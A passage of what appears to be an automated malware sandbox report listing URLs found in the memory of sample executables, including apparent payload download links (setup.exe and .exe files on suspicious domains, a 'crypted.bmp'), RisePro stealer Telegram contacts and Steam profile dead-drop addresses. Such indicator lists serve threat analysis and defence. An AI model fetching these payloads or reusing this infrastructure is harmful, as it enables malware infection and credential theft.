Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com/K
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com:80/525403/setup.exe
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com:80/525403/setup.exeO
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sextipolar.sbs/
Source: tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sextipolar.sbs/qwqw
Source: tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sextipolar.sbs/qwqw)
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sextipolar.sbs/qwqw.exer
Source: tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sextipolar.sbs/qwqw/
Source: tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sextipolar.sbs/qwqwC
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sextipolar.sbs/qwqwS
Source: tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sextipolar.sbs/qwqwsbs/qwqw
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.00000000015F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199680449169
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: ZzA4CiLYTNO5oC4gZR_wrNaZ.exe, ZzA4CiLYTNO5oC4gZR_wrNaZ.exe, 0000000A.00000002.2646927857.0000000000D05000.00000004.00000001.01000000.00000006.sdmp, RegAsm.exe, 0000001E.00000002.3391212061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.00000000015F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199680449169
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199680449169/badges
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199680449169/inventory/
Source: RegAsm.exe, 0000001E.00000002.3402168872.00000000015F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199680449169a
Source: RegAsm.exe, 0000001E.00000002.3402168872.00000000015F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199680449169y
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/e
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sun6-23.userapi.com/
Source: tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sun6-23.userapi.com/c909218/u5294803/docs/d33/75149034c64a/crypted.bmp?extra=a1Y3DfMrVV-HLQV
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3342910415.00000000018D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3342910415.00000000018D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: lrPP7Py6j59vWWqs5P8cBSO1.exe, 00000007.00000002.3403456550.00000000012DE000.00000004.00000020.00020000.00000000.sdmp, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000002.3404516846.000000000111E000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.0000000001796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/RiseProSUPPORT
Source: pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000002.3404516846.000000000111E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/RiseProSUPPORTN
Source: ZzA4CiLYTNO5oC4gZR_wrNaZ.exe, ZzA4CiLYTNO5oC4gZR_wrNaZ.exe, 0000000A.00000002.2646927857.0000000000D05000.00000004.00000001.01000000.00000006.sdmp, RegAsm.exe, 0000001E.00000002.3391212061.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/r1g1o
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.000000000180F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bot
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.000000000180F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bot6
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.000000000180F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_botlateri
Source: TrIR3OjzF5zT6wur9yJ59R0V.exe, 00000015.00000002.3350644309.00000268C3011000.00000004.00000800.00020000.00000000.sdmp, TrIR3OjzF5zT6wur9yJ59R0V.exe, 00000015.00000002.3350644309.00000268C2FFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://thridparty.nservices.org/api/browser/GetScript?id=$
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://triedchicken.net/W
Source: tZvjMg3Hw9.exe, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2190594128.0000000002B1C000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B14000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://triedchicken.net/cad54ba5b01423b1af8ec10ab5719d97.exe
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://triedchicken.net/o
Source: tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B14000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://triedchicken.net:80/cad54ba5b01423b1af8ec10ab5719d97.exe
Source: tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/browser_reports?dest=default_reports
Source: tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/doc5294803_668917518?hash=HcqSqB4BEz69zZduDzHpG5p3oDuUGmC4h5HdrueZTFD&dl=73Wmq1mPcIfG
Source: tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/doc5294803_669074803?hash=gtxjyDdukAIKxlWY09AIJPG5gj5TRTjhoVyhzgbP72o&dl=A9s6LaMpuQCy
Source: tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/doc5294803_669146636?hash=oOxNOsTOdJPrmnDMbC1WPJr0rvKjkZ1hobtPAeSmhS0&dl=r9dUuCDHeIUq
Source: tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/doc5294803_669152103?hash=pkblRovv4LMe1R6iuxvW4DDThffFR8gbvrqSTKlz4BX&dl=OZ0YEqh4RYRc
Source: tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/doc5294803_669163151?hash=yEunDEnOxnaNHvBrCc2BNW0dbd1NA4qX8Y9HDKtZ3wo&dl=I579msw3nlUd
Source: tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/doc5294803_669163253?hash=IW0hSGrk8YDX7CqoqAMIkklp8EU8TjRsyfCDGdTN1K0&dl=ZMC21WrDfH2R
Source: tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com:80/h
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3337993005.00000000018FE000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3293078281.00000000018EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3337993005.00000000018FE000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3293078281.00000000018EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: lrPP7Py6j59vWWqs5P8cBSO1.exe, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3342910415.00000000018D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3342910415.00000000018D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.000000000180F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3332027177.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3335727398.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3332828124.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3291744090.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3342112585.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3334633146.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3333318055.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3294410834.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3330050316.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3338325824.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3293583119.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3289816202.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3336449374.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3291237815.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3339042893.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3342910415.00000000018D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.000000000180F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/x
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3342910415.00000000018D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
